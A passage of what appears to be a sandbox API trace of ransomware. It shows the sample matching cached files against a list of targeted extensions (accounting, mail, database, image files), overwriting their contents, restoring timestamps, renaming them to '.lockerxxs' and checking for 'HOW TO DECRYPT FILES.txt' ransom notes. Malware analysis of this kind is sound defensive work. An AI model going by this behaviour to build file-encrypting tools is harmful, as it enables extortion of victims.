Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qbw") returned 0 [0082.926] lstrlenA (lpString="*.qbw") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qbb") returned 0 [0082.926] lstrlenA (lpString="*.qbb") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qbm") returned 0 [0082.926] lstrlenA (lpString="*.qbm") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qbo") returned 0 [0082.926] lstrlenA (lpString="*.qbo") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qbx") returned 0 [0082.926] lstrlenA (lpString="*.qbx") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qba") returned 0 [0082.926] lstrlenA (lpString="*.qba") returned 5 [0082.926] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qby") returned 0 [0082.927] lstrlenA (lpString="*.qby") returned 5 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qbj") returned 0 [0082.927] lstrlenA (lpString="*.qbj") returned 5 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.ofx") returned 0 [0082.927] lstrlenA (lpString="*.ofx") returned 5 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.qif") returned 0 [0082.927] lstrlenA (lpString="*.qif") returned 5 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.mye") returned 0 [0082.927] lstrlenA (lpString="*.mye") returned 5 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.mbox") returned 0 [0082.927] lstrlenA (lpString="*.mbox") returned 6 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.eml") returned 0 [0082.927] lstrlenA (lpString="*.eml") returned 5 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.pst") returned 0 [0082.927] lstrlenA (lpString="*.pst") returned 5 [0082.927] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.ost") returned 0 [0082.927] lstrlenA (lpString="*.ost") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.idx") returned 0 [0082.928] lstrlenA (lpString="*.idx") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.dbx") returned 0 [0082.928] lstrlenA (lpString="*.dbx") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.sql") returned 0 [0082.928] lstrlenA (lpString="*.sql") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.mdb") returned 0 [0082.928] lstrlenA (lpString="*.mdb") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.fdb") returned 0 [0082.928] lstrlenA (lpString="*.fdb") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.wab") returned 0 [0082.928] lstrlenA (lpString="*.wab") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.dat") returned 0 [0082.928] lstrlenA (lpString="*.dat") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.txt") returned 0 [0082.928] lstrlenA (lpString="*.txt") returned 5 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.jpeg") returned 0 [0082.928] lstrlenA (lpString="*.jpeg") returned 6 [0082.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", pszSpec="*.jpg") returned 1 [0082.928] lstrlenA (lpString="*.jpg") returned 5 [0082.928] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" [0082.928] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" [0082.928] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg." [0082.928] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.lockerxxs" [0082.928] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.929] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9be [0082.929] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53467f50, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53467f50, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x5348e0b0, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.929] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.929] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x998, lpOverlapped=0x0) returned 1 [0082.930] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg") returned="BBBPK5J[1].jpg" [0082.931] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.931] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x998, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x998, lpOverlapped=0x0) returned 1 [0082.931] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.931] CloseHandle (hObject=0xa4) returned 1 [0082.931] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbpk5j[1].jpg.lockerxxs")) returned 1 [0082.932] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53194530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53194530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53194530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1694, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBPMvJ[1].jpg", cAlternateFileName="BBBPMV~1.JPG")) returned 1 [0082.933] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.933] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBPMvJ[1].jpg") returned 1 [0082.933] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBPMvJ[1].jpg") returned 1 [0082.933] lstrcmpiA (lpString1="", lpString2="BBBPMvJ[1].jpg") returned -1 [0082.933] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPK5J[1].jpg") returned="BBBPK5J[1].jpg" [0082.933] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.934] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.934] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.934] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.934] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBPMvJ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.ems") returned 0 [0082.934] lstrlenA (lpString="*.ems") returned 5 [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.db") returned 0 [0082.934] lstrlenA (lpString="*.db") returned 4 [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.dbf") returned 0 [0082.934] lstrlenA (lpString="*.dbf") returned 5 [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.myox") returned 0 [0082.934] lstrlenA (lpString="*.myox") returned 6 [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.myo") returned 0 [0082.934] lstrlenA (lpString="*.myo") returned 5 [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qbw") returned 0 [0082.934] lstrlenA (lpString="*.qbw") returned 5 [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qbb") returned 0 [0082.934] lstrlenA (lpString="*.qbb") returned 5 [0082.934] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qbm") returned 0 [0082.934] lstrlenA (lpString="*.qbm") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qbo") returned 0 [0082.935] lstrlenA (lpString="*.qbo") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qbx") returned 0 [0082.935] lstrlenA (lpString="*.qbx") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qba") returned 0 [0082.935] lstrlenA (lpString="*.qba") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qby") returned 0 [0082.935] lstrlenA (lpString="*.qby") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qbj") returned 0 [0082.935] lstrlenA (lpString="*.qbj") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.ofx") returned 0 [0082.935] lstrlenA (lpString="*.ofx") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.qif") returned 0 [0082.935] lstrlenA (lpString="*.qif") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.mye") returned 0 [0082.935] lstrlenA (lpString="*.mye") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.mbox") returned 0 [0082.935] lstrlenA (lpString="*.mbox") returned 6 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.eml") returned 0 [0082.935] lstrlenA (lpString="*.eml") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.pst") returned 0 [0082.935] lstrlenA (lpString="*.pst") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.ost") returned 0 [0082.935] lstrlenA (lpString="*.ost") returned 5 [0082.935] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.idx") returned 0 [0082.935] lstrlenA (lpString="*.idx") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.dbx") returned 0 [0082.936] lstrlenA (lpString="*.dbx") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.sql") returned 0 [0082.936] lstrlenA (lpString="*.sql") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.mdb") returned 0 [0082.936] lstrlenA (lpString="*.mdb") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.fdb") returned 0 [0082.936] lstrlenA (lpString="*.fdb") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.wab") returned 0 [0082.936] lstrlenA (lpString="*.wab") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.dat") returned 0 [0082.936] lstrlenA (lpString="*.dat") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.txt") returned 0 [0082.936] lstrlenA (lpString="*.txt") returned 5 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.jpeg") returned 0 [0082.936] lstrlenA (lpString="*.jpeg") returned 6 [0082.936] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", pszSpec="*.jpg") returned 1 [0082.936] lstrlenA (lpString="*.jpg") returned 5 [0082.936] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" [0082.936] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg" [0082.936] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBPMvJ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 